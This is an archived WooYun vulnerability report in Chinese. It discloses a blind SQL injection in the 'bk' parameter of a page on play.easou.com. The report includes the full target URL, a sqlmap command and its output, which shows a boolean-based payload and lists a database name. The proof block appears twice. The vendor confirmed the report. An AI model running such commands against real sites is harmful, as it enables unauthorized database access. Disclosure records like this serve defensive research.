缺陷编号：WooYun-2014-088399
漏洞标题：宜搜某站MySQL注射漏洞
相关厂商：easou.com
漏洞作者：路人甲
提交时间：2014-12-24 12:37
公开时间：2015-02-07 12:38
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：8
漏洞状态：厂商已经确认
Tags标签：
2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-24: 厂商已经确认，细节仅向厂商公开
2015-01-03: 细节向核心白帽子及相关领域专家公开
2015-01-13: 细节向普通白帽子公开
2015-01-23: 细节向实习白帽子公开
2015-02-07: 细节向公众公开
宜搜某站MySQL注射漏洞
注射链接：http://play.easou.com/stc.e?bk=kdinfo3&infoId=5749&esid=oqxD9xCag9L&wver=c&qn=33&fr=33.10.1253.2.1.5749&version=c注射字段：bk
|
1 |
sqlmap.py -u "http://play.easou.com/stc.e?bk=kdinfo3&infoId=5749&esid=oqxD9xCag9L&wver=c&qn=33&fr=33.10.1253.2.1.5749&version=c" --dbs --no-cast --threads=2 |
|
1 2 3 4 5 6 7 8 9 10 11 |
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br> ---<br> Parameter: bk (GET)<br> Type: boolean-based blind<br> Title: AND boolean-based blind - WHERE or HAVING clause<br> Payload: bk=kdinfo3' AND 9142=9142 AND 'aYUx'='aYUx&infoId=5749&esid=oqxD9xCag9L&wver=c&qn=33&fr=33.10.1253.2.1.5749&version=c<br> ---<br> web application technology: Nginx<br> back-end DBMS: MySQL 5<br> available databases [1]:<br> [*] gameplat |
仅作证明
注射链接：http://play.easou.com/stc.e?bk=kdinfo3&infoId=5749&esid=oqxD9xCag9L&wver=c&qn=33&fr=33.10.1253.2.1.5749&version=c注射字段：bk
|
1 |
sqlmap.py -u "http://play.easou.com/stc.e?bk=kdinfo3&infoId=5749&esid=oqxD9xCag9L&wver=c&qn=33&fr=33.10.1253.2.1.5749&version=c" --dbs --no-cast --threads=2 |
|
1 2 3 4 5 6 7 8 9 10 11 |
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br> ---<br> Parameter: bk (GET)<br> Type: boolean-based blind<br> Title: AND boolean-based blind - WHERE or HAVING clause<br> Payload: bk=kdinfo3' AND 9142=9142 AND 'aYUx'='aYUx&infoId=5749&esid=oqxD9xCag9L&wver=c&qn=33&fr=33.10.1253.2.1.5749&version=c<br> ---<br> web application technology: Nginx<br> back-end DBMS: MySQL 5<br> available databases [1]:<br> [*] gameplat |
仅作证明
过滤
危害等级：中
漏洞Rank：10
确认时间：2014-12-2414:39
谢谢指出，我们会及时改正
暂无
原文连接的情况下转载，若非则不得使用我方内容。
体验盒子
